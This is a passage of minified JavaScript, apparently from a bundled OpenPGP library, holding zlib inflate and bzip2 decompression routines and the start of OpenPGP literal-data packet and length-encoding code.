1;for(;;){M=p-v,s[y]<l?(C=0,K=s[y]):s[y]>l?(C=D[R+s[y]],K=S[E+s[y]]):(C=96,K=0),u=1<<p-v,h=1<<w,b=h;do{h-=u,n[f+(A>>v)+h]=M<<24|C<<16|K|0}while(0!==h);for(u=1<<p-1;A&u;)u>>=1;if(0!==u?(A&=u-1,A+=u):A=0,y++,0==--P[p]){if(p===m)break;p=t[r+s[y]]}if(p>g&&(A&I)!==d){for(0===v&&(v=g),f+=b,w=p-v,_=1<<w;w+v<m&&(_-=P[w+v],!(_<=0));)w++,_<<=1;if(k+=1<<w,1===e&&k>852||2===e&&k>592)return 1;d=A&I,n[d]=g<<24|w<<16|f-a|0}}return 0!==A&&(n[f+A]=p-v<<24|64<<16|0),o.bits=g,0}const ws=12,vs=30;function _s(e){return(e>>>24&255)+(e>>>8&65280)+((65280&e)<<8)+((255&e)<<24)}class ks{constructor(){this.mode=0,this.last=!1,this.wrap=0,this.havedict=!1,this.flags=0,this.dmax=0,this.check=0,this.total=0,this.head=null,this.wbits=0,this.wsize=0,this.whave=0,this.wnext=0,this.window=null,this.hold=0,this.bits=0,this.length=0,this.offset=0,this.extra=0,this.lencode=null,this.distcode=null,this.lenbits=0,this.distbits=0,this.ncode=0,this.nlen=0,this.ndist=0,this.have=0,this.next=null,this.lens=new Hn(320),this.work=new Hn(288),this.lendyn=null,this.distdyn=null,this.sane=0,this.back=0,this.was=0}}function As(e){let t;return e&&e.state?(t=e.state,t.wsize=0,t.whave=0,t.wnext=0,function(e){let t;return e&&e.state?(t=e.state,e.total_in=e.total_out=t.total=0,e.msg="",t.wrap&&(e.adler=1&t.wrap),t.mode=1,t.last=0,t.havedict=0,t.dmax=32768,t.head=null,t.hold=0,t.bits=0,t.lencode=t.lendyn=new Gn(852),t.distcode=t.distdyn=new Gn(592),t.sane=1,t.back=-1,0):Zn}(e)):Zn}function Ss(e,t){let r,i;return e?(i=new ks,e.state=i,i.window=null,r=function(e,t){let r,i;return e&&e.state?(i=e.state,t<0?(r=0,t=-t):(r=1+(t>>4),t<48&&(t&=15)),t&&(t<8||t>15)?Zn:(null!==i.window&&i.wbits!==t&&(i.window=null),i.wrap=r,i.wbits=t,As(e))):Zn}(e,t),0!==r&&(e.state=null),r):Zn}let Es,Ps,xs=!0;function Ms(e){if(xs){let t;for(Es=new Gn(512),Ps=new Gn(32),t=0;t<144;)e.lens[t++]=8;for(;t<256;)e.lens[t++]=9;for(;t<280;)e.lens[t++]=7;for(;t<288;)e.lens[t++]=8;for(gs(1,e.lens,0,288,Es,0,e.work,{bits:9}),t=0;t<32;)e.lens[t++]=5;gs(2,e.lens,0,32,Ps,0,e.work,{bits:5}),xs=!1}e.lencode=Es,e.lenbits=9,e.distcode=Ps,e.distbits=5}function Cs(e,t,r,i){let n;const a=e.state;return null===a.window&&(a.wsize=1<<a.wbits,a.wnext=0,a.whave=0,a.window=new Wn(a.wsize)),i>=a.wsize?($n(a.window,t,r-a.wsize,a.wsize,0),a.wnext=0,a.whave=a.wsize):(n=a.wsize-a.wnext,n>i&&(n=i),$n(a.window,t,r-i,n,a.wnext),(i-=n)?($n(a.window,t,r-i,i,0),a.wnext=i,a.whave=a.wsize):(a.wnext+=n,a.wnext===a.wsize&&(a.wnext=0),a.whave<a.wsize&&(a.whave+=n))),0}function Ks(e,t){let r,i,n,a,s,o,c,u,h,d,f,l,p,y,b,m,g,w,v,_,k,A,S,E,P=0,x=new Wn(4);const M=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15];if(!e||!e.state||!e.output||!e.input&&0!==e.avail_in)return Zn;r=e.state,r.mode===ws&&(r.mode=13),s=e.next_out,n=e.output,c=e.avail_out,a=e.next_in,i=e.input,o=e.avail_in,u=r.hold,h=r.bits,d=o,f=c,A=0;e:for(;;)switch(r.mode){case 1:if(0===r.wrap){r.mode=13;break}for(;h<16;){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}if(2&r.wrap&&35615===u){r.check=0,x[0]=255&u,x[1]=u>>>8&255,r.check=qa(r.check,x,2,0),u=0,h=0,r.mode=2;break}if(r.flags=0,r.head&&(r.head.done=!1),!(1&r.wrap)||(((255&u)<<8)+(u>>8))%31){e.msg="incorrect header check",r.mode=vs;break}if(8!=(15&u)){e.msg="unknown compression method",r.mode=vs;break}if(u>>>=4,h-=4,k=8+(15&u),0===r.wbits)r.wbits=k;else if(k>r.wbits){e.msg="invalid window size",r.mode=vs;break}r.dmax=1<<k,e.adler=r.check=1,r.mode=512&u?10:ws,u=0,h=0;break;case 2:for(;h<16;){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}if(r.flags=u,8!=(255&r.flags)){e.msg="unknown compression method",r.mode=vs;break}if(57344&r.flags){e.msg="unknown header flags set",r.mode=vs;break}r.head&&(r.head.text=u>>8&1),512&r.flags&&(x[0]=255&u,x[1]=u>>>8&255,r.check=qa(r.check,x,2,0)),u=0,h=0,r.mode=3;case 3:for(;h<32;){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}r.head&&(r.head.time=u),512&r.flags&&(x[0]=255&u,x[1]=u>>>8&255,x[2]=u>>>16&255,x[3]=u>>>24&255,r.check=qa(r.check,x,4,0)),u=0,h=0,r.mode=4;case 4:for(;h<16;){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}r.head&&(r.head.xflags=255&u,r.head.os=u>>8),512&r.flags&&(x[0]=255&u,x[1]=u>>>8&255,r.check=qa(r.check,x,2,0)),u=0,h=0,r.mode=5;case 5:if(1024&r.flags){for(;h<16;){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}r.length=u,r.head&&(r.head.extra_len=u),512&r.flags&&(x[0]=255&u,x[1]=u>>>8&255,r.check=qa(r.check,x,2,0)),u=0,h=0}else r.head&&(r.head.extra=null);r.mode=6;case 6:if(1024&r.flags&&(l=r.length,l>o&&(l=o),l&&(r.head&&(k=r.head.extra_len-r.length,r.head.extra||(r.head.extra=Array(r.head.extra_len)),$n(r.head.extra,i,a,l,k)),512&r.flags&&(r.check=qa(r.check,i,l,a)),o-=l,a+=l,r.length-=l),r.length))break e;r.length=0,r.mode=7;case 7:if(2048&r.flags){if(0===o)break e;l=0;do{k=i[a+l++],r.head&&k&&r.length<65536&&(r.head.name+=String.fromCharCode(k))}while(k&&l<o);if(512&r.flags&&(r.check=qa(r.check,i,l,a)),o-=l,a+=l,k)break e}else r.head&&(r.head.name=null);r.length=0,r.mode=8;case 8:if(4096&r.flags){if(0===o)break e;l=0;do{k=i[a+l++],r.head&&k&&r.length<65536&&(r.head.comment+=String.fromCharCode(k))}while(k&&l<o);if(512&r.flags&&(r.check=qa(r.check,i,l,a)),o-=l,a+=l,k)break e}else r.head&&(r.head.comment=null);r.mode=9;case 9:if(512&r.flags){for(;h<16;){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}if(u!==(65535&r.check)){e.msg="header crc mismatch",r.mode=vs;break}u=0,h=0}r.head&&(r.head.hcrc=r.flags>>9&1,r.head.done=!0),e.adler=r.check=0,r.mode=ws;break;case 10:for(;h<32;){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}e.adler=r.check=_s(u),u=0,h=0,r.mode=11;case 11:if(0===r.havedict)return e.next_out=s,e.avail_out=c,e.next_in=a,e.avail_in=o,r.hold=u,r.bits=h,2;e.adler=r.check=1,r.mode=ws;case ws:if(5===t||6===t)break e;case 13:if(r.last){u>>>=7&h,h-=7&h,r.mode=27;break}for(;h<3;){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}switch(r.last=1&u,u>>>=1,h-=1,3&u){case 0:r.mode=14;break;case 1:if(Ms(r),r.mode=20,6===t){u>>>=2,h-=2;break e}break;case 2:r.mode=17;break;case 3:e.msg="invalid block type",r.mode=vs}u>>>=2,h-=2;break;case 14:for(u>>>=7&h,h-=7&h;h<32;){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}if((65535&u)!=(u>>>16^65535)){e.msg="invalid stored block lengths",r.mode=vs;break}if(r.length=65535&u,u=0,h=0,r.mode=15,6===t)break e;case 15:r.mode=16;case 16:if(l=r.length,l){if(l>o&&(l=o),l>c&&(l=c),0===l)break e;$n(n,i,a,l,s),o-=l,a+=l,c-=l,s+=l,r.length-=l;break}r.mode=ws;break;case 17:for(;h<14;){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}if(r.nlen=257+(31&u),u>>>=5,h-=5,r.ndist=1+(31&u),u>>>=5,h-=5,r.ncode=4+(15&u),u>>>=4,h-=4,r.nlen>286||r.ndist>30){e.msg="too many length or distance symbols",r.mode=vs;break}r.have=0,r.mode=18;case 18:for(;r.have<r.ncode;){for(;h<3;){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}r.lens[M[r.have++]]=7&u,u>>>=3,h-=3}for(;r.have<19;)r.lens[M[r.have++]]=0;if(r.lencode=r.lendyn,r.lenbits=7,S={bits:r.lenbits},A=gs(0,r.lens,0,19,r.lencode,0,r.work,S),r.lenbits=S.bits,A){e.msg="invalid code lengths set",r.mode=vs;break}r.have=0,r.mode=19;case 19:for(;r.have<r.nlen+r.ndist;){for(;P=r.lencode[u&(1<<r.lenbits)-1],b=P>>>24,m=P>>>16&255,g=65535&P,!(b<=h);){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}if(g<16)u>>>=b,h-=b,r.lens[r.have++]=g;else{if(16===g){for(E=b+2;h<E;){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}if(u>>>=b,h-=b,0===r.have){e.msg="invalid bit length repeat",r.mode=vs;break}k=r.lens[r.have-1],l=3+(3&u),u>>>=2,h-=2}else if(17===g){for(E=b+3;h<E;){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}u>>>=b,h-=b,k=0,l=3+(7&u),u>>>=3,h-=3}else{for(E=b+7;h<E;){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}u>>>=b,h-=b,k=0,l=11+(127&u),u>>>=7,h-=7}if(r.have+l>r.nlen+r.ndist){e.msg="invalid bit length repeat",r.mode=vs;break}for(;l--;)r.lens[r.have++]=k}}if(r.mode===vs)break;if(0===r.lens[256]){e.msg="invalid code -- missing end-of-block",r.mode=vs;break}if(r.lenbits=9,S={bits:r.lenbits},A=gs(1,r.lens,0,r.nlen,r.lencode,0,r.work,S),r.lenbits=S.bits,A){e.msg="invalid literal/lengths set",r.mode=vs;break}if(r.distbits=6,r.distcode=r.distdyn,S={bits:r.distbits},A=gs(2,r.lens,r.nlen,r.ndist,r.distcode,0,r.work,S),r.distbits=S.bits,A){e.msg="invalid distances set",r.mode=vs;break}if(r.mode=20,6===t)break e;case 20:r.mode=21;case 21:if(o>=6&&c>=258){e.next_out=s,e.avail_out=c,e.next_in=a,e.avail_in=o,r.hold=u,r.bits=h,fs(e,f),s=e.next_out,n=e.output,c=e.avail_out,a=e.next_in,i=e.input,o=e.avail_in,u=r.hold,h=r.bits,r.mode===ws&&(r.back=-1);break}for(r.back=0;P=r.lencode[u&(1<<r.lenbits)-1],b=P>>>24,m=P>>>16&255,g=65535&P,!(b<=h);){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}if(m&&0==(240&m)){for(w=b,v=m,_=g;P=r.lencode[_+((u&(1<<w+v)-1)>>w)],b=P>>>24,m=P>>>16&255,g=65535&P,!(w+b<=h);){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}u>>>=w,h-=w,r.back+=w}if(u>>>=b,h-=b,r.back+=b,r.length=g,0===m){r.mode=26;break}if(32&m){r.back=-1,r.mode=ws;break}if(64&m){e.msg="invalid literal/length code",r.mode=vs;break}r.extra=15&m,r.mode=22;case 22:if(r.extra){for(E=r.extra;h<E;){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}r.length+=u&(1<<r.extra)-1,u>>>=r.extra,h-=r.extra,r.back+=r.extra}r.was=r.length,r.mode=23;case 23:for(;P=r.distcode[u&(1<<r.distbits)-1],b=P>>>24,m=P>>>16&255,g=65535&P,!(b<=h);){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}if(0==(240&m)){for(w=b,v=m,_=g;P=r.distcode[_+((u&(1<<w+v)-1)>>w)],b=P>>>24,m=P>>>16&255,g=65535&P,!(w+b<=h);){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}u>>>=w,h-=w,r.back+=w}if(u>>>=b,h-=b,r.back+=b,64&m){e.msg="invalid distance code",r.mode=vs;break}r.offset=g,r.extra=15&m,r.mode=24;case 24:if(r.extra){for(E=r.extra;h<E;){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}r.offset+=u&(1<<r.extra)-1,u>>>=r.extra,h-=r.extra,r.back+=r.extra}if(r.offset>r.dmax){e.msg="invalid distance too far back",r.mode=vs;break}r.mode=25;case 25:if(0===c)break e;if(l=f-c,r.offset>l){if(l=r.offset-l,l>r.whave&&r.sane){e.msg="invalid distance too far back",r.mode=vs;break}l>r.wnext?(l-=r.wnext,p=r.wsize-l):p=r.wnext-l,l>r.length&&(l=r.length),y=r.window}else y=n,p=s-r.offset,l=r.length;l>c&&(l=c),c-=l,r.length-=l;do{n[s++]=y[p++]}while(--l);0===r.length&&(r.mode=21);break;case 26:if(0===c)break e;n[s++]=r.length,c--,r.mode=21;break;case 27:if(r.wrap){for(;h<32;){if(0===o)break e;o--,u|=i[a++]<<h,h+=8}if(f-=c,e.total_out+=f,r.total+=f,f&&(e.adler=r.check=r.flags?qa(r.check,n,f,s-f):Ta(r.check,n,f,s-f)),f=c,(r.flags?u:_s(u))!==r.check){e.msg="incorrect data check",r.mode=vs;break}u=0,h=0}r.mode=28;case 28:if(r.wrap&&r.flags){for(;h<32;){if(0===o)break e;o--,u+=i[a++]<<h,h+=8}if(u!==(4294967295&r.total)){e.msg="incorrect length check",r.mode=vs;break}u=0,h=0}r.mode=29;case 29:A=1;break e;case vs:A=-3;break e;case 32:default:return Zn}return e.next_out=s,e.avail_out=c,e.next_in=a,e.avail_in=o,r.hold=u,r.bits=h,(r.wsize||f!==e.avail_out&&r.mode<vs&&(r.mode<27||4!==t))&&Cs(e,e.output,e.next_out,f-e.avail_out),d-=e.avail_in,f-=e.avail_out,e.total_in+=d,e.total_out+=f,r.total+=f,r.wrap&&f&&(e.adler=r.check=r.flags?qa(r.check,n,f,e.next_out-f):Ta(r.check,n,f,e.next_out-f)),e.data_type=r.bits+(r.last?64:0)+(r.mode===ws?128:0)+(20===r.mode||15===r.mode?256:0),(0===d&&0===f||4===t)&&0===A&&(A=-5),A}function Ds(e,t){const r=t.length;let i,n;return e&&e.state?(i=e.state,0!==i.wrap&&11!==i.mode?Zn:11===i.mode&&(n=1,n=Ta(n,t,r,0),n!==i.check)?-3:(Cs(e,t,r,r),i.havedict=1,0)):Zn}class Rs{constructor(){this.text=0,this.time=0,this.xflags=0,this.os=0,this.extra=null,this.extra_len=0,this.name="",this.comment="",this.hcrc=0,this.done=!1}}class Is{constructor(e){this.options={chunkSize:16384,windowBits:0,...e||{}};const t=this.options;t.raw&&t.windowBits>=0&&t.windowBits<16&&(t.windowBits=-t.windowBits,0===t.windowBits&&(t.windowBits=-15)),!(t.windowBits>=0&&t.windowBits<16)||e&&e.windowBits||(t.windowBits+=32),t.windowBits>15&&t.windowBits<48&&0==(15&t.windowBits)&&(t.windowBits|=15),this.err=0,this.msg="",this.ended=!1,this.chunks=[],this.strm=new hs,this.strm.avail_out=0;let r=Ss(this.strm,t.windowBits);if(0!==r)throw Error(Oa[r]);if(this.header=new Rs,function(e,t){let r;e&&e.state&&(r=e.state,0==(2&r.wrap)||(r.head=t,t.done=!1))}(this.strm,this.header),t.dictionary&&("string"==typeof t.dictionary?t.dictionary=us(t.dictionary):t.dictionary instanceof ArrayBuffer&&(t.dictionary=new Uint8Array(t.dictionary)),t.raw&&(r=Ds(this.strm,t.dictionary),0!==r)))throw Error(Oa[r])}push(e,t){const{strm:r,options:{chunkSize:i,dictionary:n}}=this;let a,s,o=!1;if(this.ended)return!1;s=t===~~t?t:!0===t?4:0,"string"==typeof e?r.input=function(e){const t=new Wn(e.length);for(let r=0,i=t.length;r<i;r++)t[r]=e.charCodeAt(r);return t}(e):e instanceof ArrayBuffer?r.input=new Uint8Array(e):r.input=e,r.next_in=0,r.avail_in=r.input.length;do{if(0===r.avail_out&&(r.output=new Wn(i),r.next_out=0,r.avail_out=i),a=Ks(r,0),2===a&&n&&(a=Ds(this.strm,n)),-5===a&&!0===o&&(a=0,o=!1),1!==a&&0!==a)return this.onEnd(a),this.ended=!0,!1;r.next_out&&(0!==r.avail_out&&1!==a&&(0!==r.avail_in||4!==s&&2!==s)||this.onData(Nn(r.output,r.next_out))),0===r.avail_in&&0===r.avail_out&&(o=!0)}while((r.avail_in>0||0===r.avail_out)&&1!==a);return 1===a&&(s=4),4===s?(a=function(e){if(!e||!e.state)return Zn;const t=e.state;return t.window&&(t.window=null),e.state=null,0}(this.strm),this.onEnd(a),this.ended=!0,0===a):2!==s||(this.onEnd(0),r.avail_out=0,!0)}onData(e){this.chunks.push(e)}onEnd(e){0===e&&(this.result=Vn(this.chunks)),this.chunks=[],this.err=e,this.msg=this.strm.msg}}var Us=[0,1,3,7,15,31,63,127,255],Bs=function(e){this.stream=e,this.bitOffset=0,this.curByte=0,this.hasByte=!1};Bs.prototype._ensureByte=function(){this.hasByte||(this.curByte=this.stream.readByte(),this.hasByte=!0)},Bs.prototype.read=function(e){for(var t=0;e>0;){this._ensureByte();var r=8-this.bitOffset;if(e>=r)t<<=r,t|=Us[r]&this.curByte,this.hasByte=!1,this.bitOffset=0,e-=r;else{t<<=e;var i=r-e;t|=(this.curByte&Us[e]<<i)>>i,this.bitOffset+=e,e=0}}return t},Bs.prototype.seek=function(e){var t=e%8,r=(e-t)/8;this.bitOffset=t,this.stream.seek(r),this.hasByte=!1},Bs.prototype.pi=function(){var e,t=new Uint8Array(6);for(e=0;e<t.length;e++)t[e]=this.read(8);return function(e){return Array.prototype.map.call(e,(e=>("00"+e.toString(16)).slice(-2))).join("")}(t)};var Ts=Bs,zs=function(){};zs.prototype.readByte=function(){throw Error("abstract method readByte() not implemented")},zs.prototype.read=function(e,t,r){for(var i=0;i<r;){var n=this.readByte();if(n<0)return 0===i?-1:i;e[t++]=n,i++}return i},zs.prototype.seek=function(e){throw Error("abstract method seek() not implemented")},zs.prototype.writeByte=function(e){throw Error("abstract method readByte() not implemented")},zs.prototype.write=function(e,t,r){var i;for(i=0;i<r;i++)this.writeByte(e[t++]);return r},zs.prototype.flush=function(){};var qs,Os=zs,Fs=(qs=new Uint32Array([0,79764919,159529838,222504665,319059676,398814059,445009330,507990021,638119352,583659535,797628118,726387553,890018660,835552979,1015980042,944750013,1276238704,1221641927,1167319070,1095957929,1595256236,1540665371,1452775106,1381403509,1780037320,1859660671,1671105958,1733955601,2031960084,2111593891,1889500026,1952343757,2552477408,2632100695,2443283854,2506133561,2334638140,2414271883,2191915858,2254759653,3190512472,3135915759,3081330742,3009969537,2905550212,2850959411,2762807018,2691435357,3560074640,3505614887,3719321342,3648080713,3342211916,3287746299,3467911202,3396681109,4063920168,4143685023,4223187782,4286162673,3779000052,3858754371,3904687514,3967668269,881225847,809987520,1023691545,969234094,662832811,591600412,771767749,717299826,311336399,374308984,453813921,533576470,25881363,88864420,134795389,214552010,2023205639,2086057648,1897238633,1976864222,1804852699,1867694188,1645340341,1724971778,1587496639,1516133128,1461550545,1406951526,1302016099,1230646740,1142491917,1087903418,2896545431,2825181984,2770861561,2716262478,3215044683,3143675388,3055782693,3001194130,2326604591,2389456536,2200899649,2280525302,2578013683,2640855108,2418763421,2498394922,3769900519,3832873040,3912640137,3992402750,4088425275,4151408268,4197601365,4277358050,3334271071,3263032808,3476998961,3422541446,3585640067,3514407732,3694837229,3640369242,1762451694,1842216281,1619975040,1682949687,2047383090,2127137669,1938468188,2001449195,1325665622,1271206113,1183200824,1111960463,1543535498,1489069629,1434599652,1363369299,622672798,568075817,748617968,677256519,907627842,853037301,1067152940,995781531,51762726,131386257,177728840,240578815,269590778,349224269,429104020,491947555,4046411278,4126034873,4172115296,4234965207,3794477266,3874110821,3953728444,4016571915,3609705398,3555108353,3735388376,3664026991,3290680682,3236090077,3449943556,3378572211,3174993278,3120533705,3032266256,2961025959,2923101090,2868635157,2813903052,2742672763,2604032198,2683796849,2461293480,2524268063,2284983834,2364738477,2175806836,2238787779,1569362073,1498123566,1409854455,1355396672,1317987909,1246755826,1192025387,1137557660,2072149281,2135122070,1912620623,1992383480,1753615357,1816598090,1627664531,1707420964,295390185,358241886,404320391,483945776,43990325,106832002,186451547,266083308,932423249,861060070,1041341759,986742920,613929101,542559546,756411363,701822548,3316196985,3244833742,3425377559,3370778784,3601682597,3530312978,3744426955,3689838204,3819031489,3881883254,3928223919,4007849240,4037393693,4100235434,4180117107,4259748804,2310601993,2373574846,2151335527,2231098320,2596047829,2659030626,2470359227,2550115596,2947551409,2876312838,2788305887,2733848168,3165939309,3094707162,3040238851,2985771188]),function(){var e=4294967295;this.getCRC=function(){return~e>>>0},this.updateCRC=function(t){e=e<<8^qs[255&(e>>>24^t)]},this.updateCRCRun=function(t,r){for(;r-- >0;)e=e<<8^qs[255&(e>>>24^t)]}}),Ns=function(e,t){var r,i=e[t];for(r=t;r>0;r--)e[r]=e[r-1];return e[0]=i,i},Ls={OK:0,LAST_BLOCK:-1,NOT_BZIP_DATA:-2,UNEXPECTED_INPUT_EOF:-3,UNEXPECTED_OUTPUT_EOF:-4,DATA_ERROR:-5,OUT_OF_MEMORY:-6,OBSOLETE_INPUT:-7,END_OF_BLOCK:-8},js={};js[Ls.LAST_BLOCK]="Bad file checksum",js[Ls.NOT_BZIP_DATA]="Not bzip data",js[Ls.UNEXPECTED_INPUT_EOF]="Unexpected input EOF",js[Ls.UNEXPECTED_OUTPUT_EOF]="Unexpected output EOF",js[Ls.DATA_ERROR]="Data error",js[Ls.OUT_OF_MEMORY]="Out of memory",js[Ls.OBSOLETE_INPUT]="Obsolete (pre 0.9.5) bzip format not supported.";var Ws=function(e,t){var r=js[e]||"unknown error";t&&(r+=": "+t);var i=new TypeError(r);throw i.errorCode=e,i},Hs=function(e,t){this.writePos=this.writeCurrent=this.writeCount=0,this._start_bunzip(e,t)};Hs.prototype._init_block=function(){return this._get_next_block()?(this.blockCRC=new Fs,!0):(this.writeCount=-1,!1)},Hs.prototype._start_bunzip=function(e,t){var r=new Uint8Array(4);4===e.read(r,0,4)&&"BZh"===String.fromCharCode(r[0],r[1],r[2])||Ws(Ls.NOT_BZIP_DATA,"bad magic");var i=r[3]-48;(i<1||i>9)&&Ws(Ls.NOT_BZIP_DATA,"level out of range"),this.reader=new Ts(e),this.dbufSize=1e5*i,this.nextoutput=0,this.outputStream=t,this.streamCRC=0},Hs.prototype._get_next_block=function(){var e,t,r,i=this.reader,n=i.pi();if("177245385090"===n)return!1;"314159265359"!==n&&Ws(Ls.NOT_BZIP_DATA),this.targetBlockCRC=i.read(32)>>>0,this.streamCRC=(this.targetBlockCRC^(this.streamCRC<<1|this.streamCRC>>>31))>>>0,i.read(1)&&Ws(Ls.OBSOLETE_INPUT);var a=i.read(24);a>this.dbufSize&&Ws(Ls.DATA_ERROR,"initial position out of bounds");var s=i.read(16),o=new Uint8Array(256),c=0;for(e=0;e<16;e++)if(s&1<<15-e){var u=16*e;for(r=i.read(16),t=0;t<16;t++)r&1<<15-t&&(o[c++]=u+t)}var h=i.read(3);(h<2||h>6)&&Ws(Ls.DATA_ERROR);var d=i.read(15);0===d&&Ws(Ls.DATA_ERROR);var f=new Uint8Array(256);for(e=0;e<h;e++)f[e]=e;var l=new Uint8Array(d);for(e=0;e<d;e++){for(t=0;i.read(1);t++)t>=h&&Ws(Ls.DATA_ERROR);l[e]=Ns(f,t)}var p,y=c+2,b=[];for(t=0;t<h;t++){var m,g,w=new Uint8Array(y),v=new Uint16Array(21);for(s=i.read(5),e=0;e<y;e++){for(;(s<1||s>20)&&Ws(Ls.DATA_ERROR),i.read(1);)i.read(1)?s--:s++;w[e]=s}for(m=g=w[0],e=1;e<y;e++)w[e]>g?g=w[e]:w[e]<m&&(m=w[e]);p={},b.push(p),p.permute=new Uint16Array(258),p.limit=new Uint32Array(22),p.base=new Uint32Array(21),p.minLen=m,p.maxLen=g;var _=0;for(e=m;e<=g;e++)for(v[e]=p.limit[e]=0,s=0;s<y;s++)w[s]===e&&(p.permute[_++]=s);for(e=0;e<y;e++)v[w[e]]++;for(_=s=0,e=m;e<g;e++)_+=v[e],p.limit[e]=_-1,_<<=1,s+=v[e],p.base[e+1]=_-s;p.limit[g+1]=Number.MAX_VALUE,p.limit[g]=_+v[g]-1,p.base[m]=0}var k=new Uint32Array(256);for(e=0;e<256;e++)f[e]=e;var A,S=0,E=0,P=0,x=this.dbuf=new Uint32Array(this.dbufSize);for(y=0;;){for(y--||(y=49,P>=d&&Ws(Ls.DATA_ERROR),p=b[l[P++]]),e=p.minLen,t=i.read(e);e>p.maxLen&&Ws(Ls.DATA_ERROR),!(t<=p.limit[e]);e++)t=t<<1|i.read(1);((t-=p.base[e])<0||t>=258)&&Ws(Ls.DATA_ERROR);var M=p.permute[t];if(0!==M&&1!==M){if(S)for(S=0,E+s>this.dbufSize&&Ws(Ls.DATA_ERROR),k[A=o[f[0]]]+=s;s--;)x[E++]=A;if(M>c)break;E>=this.dbufSize&&Ws(Ls.DATA_ERROR),k[A=o[A=Ns(f,e=M-1)]]++,x[E++]=A}else S||(S=1,s=0),s+=0===M?S:2*S,S<<=1}for((a<0||a>=E)&&Ws(Ls.DATA_ERROR),t=0,e=0;e<256;e++)r=t+k[e],k[e]=t,t=r;for(e=0;e<E;e++)x[k[A=255&x[e]]]|=e<<8,k[A]++;var C=0,K=0,D=0;return E&&(K=255&(C=x[a]),C>>=8,D=-1),this.writePos=C,this.writeCurrent=K,this.writeCount=E,this.writeRun=D,!0},Hs.prototype._read_bunzip=function(e,t){var r,i,n;if(this.writeCount<0)return 0;var a=this.dbuf,s=this.writePos,o=this.writeCurrent,c=this.writeCount;this.outputsize;for(var u=this.writeRun;c;){for(c--,i=o,o=255&(s=a[s]),s>>=8,3==u++?(r=o,n=i,o=-1):(r=1,n=o),this.blockCRC.updateCRCRun(n,r);r--;)this.outputStream.writeByte(n),this.nextoutput++;o!=i&&(u=0)}return this.writeCount=c,this.blockCRC.getCRC()!==this.targetBlockCRC&&Ws(Ls.DATA_ERROR,"Bad block CRC (got "+this.blockCRC.getCRC().toString(16)+" expected "+this.targetBlockCRC.toString(16)+")"),this.nextoutput};var Gs=function(e){if("readByte"in e)return e;var t=new Os;return t.pos=0,t.readByte=function(){return e[this.pos++]},t.seek=function(e){this.pos=e},t.eof=function(){return this.pos>=e.length},t},Vs=function(e){var t=new Os,r=!0;if(e)if("number"==typeof e)t.buffer=new Uint8Array(e),r=!1;else{if("writeByte"in e)return e;t.buffer=e,r=!1}else t.buffer=new Uint8Array(16384);return t.pos=0,t.writeByte=function(e){if(r&&this.pos>=this.buffer.length){var t=new Uint8Array(2*this.buffer.length);t.set(this.buffer),this.buffer=t}this.buffer[this.pos++]=e},t.getBuffer=function(){if(this.pos!==this.buffer.length){if(!r)throw new TypeError("outputsize does not match decoded input");var e=new Uint8Array(this.pos);e.set(this.buffer.subarray(0,this.pos)),this.buffer=e}return this.buffer},t._coerced=!0,t};var $s=function(e,t,r){for(var i=Gs(e),n=Vs(t),a=new Hs(i,n);!("eof"in i)||!i.eof();)if(a._init_block())a._read_bunzip();else{var s=a.reader.read(32)>>>0;if(s!==a.streamCRC&&Ws(Ls.DATA_ERROR,"Bad stream CRC (got "+a.streamCRC.toString(16)+" expected "+s.toString(16)+")"),!r||!("eof"in i)||i.eof())break;a._start_bunzip(i,n)}if("getBuffer"in n)return n.getBuffer()};class Zs{static get tag(){return re.packet.literalData}constructor(e=new Date){this.format="utf8",this.date=V.normalizeDate(e),this.text=null,this.data=null,this.filename=""}setText(e,t="utf8"){this.format=t,this.text=e,this.data=null}getText(e=!1){return(null===this.text||V.isStream(this.text))&&(this.text=V.decodeUTF8(V.nativeEOL(this.getBytes(e)))),this.text}setBytes(e,t){this.format=t,this.data=e,this.text=null}getBytes(e=!1){return null===this.data&&(this.data=V.canonicalizeEOL(V.encodeUTF8(this.text))),e?O(this.data):this.data}setFilename(e){this.filename=e}getFilename(){return this.filename}async read(e){await z(e,(async e=>{const t=re.read(re.literal,await e.readByte()),r=await e.readByte();this.filename=V.decodeUTF8(await e.readBytes(r)),this.date=V.readDate(await e.readBytes(4));const i=e.remainder();this.setBytes(i,t)}))}writeHeader(){const e=V.encodeUTF8(this.filename),t=new Uint8Array([e.length]),r=new Uint8Array([re.write(re.literal,this.format)]),i=V.writeDate(this.date);return V.concatUint8Array([r,t,e,i])}write(){const e=this.writeHeader(),t=this.getBytes();return V.concat([e,t])}}function Ys(e){let t,r=0;const i=e[0];return i<192?([r]=e,t=1):i<255?(r=(e[0]-192<<8)+e[1]+192,t=2):255===i&&(r=V.readNumber(e.subarray(1,5)),t=5),{len:r,offset:t}}function Xs(e){return e<192?new Uint8Array([e]):e>191&&e<8384?new Uint8Array([192+(e-192>>8),e-192&255]):V.concatUint8Array([new Uint8Array([255]),V.writeNumber(e,4)])}function Qs(e){if(e<0||e>30)throw Error("Partial Length power must be between 1 and 30");return new Uint8Array([224+e])}function Js(e){return new Uint8Array([192|e])}function eo(e,t){return V.concatUint8Array([Js(e),Xs(t)])}function to(e){return[re.packet.literalData,re.packet.compressedData,re.packet.symmetricallyEncryptedData,re.packet.symEncryptedIntegrityProtectedData,re.packet.aeadEncryptedData].includes(e)}async function ro(e,t){const r=K(e);let i,n;try{const s=await r.peekBytes(2);if(!s||s.length<2||0==(128&s[0]))throw Error("Error during parsing. This message / key probably does not conform to a 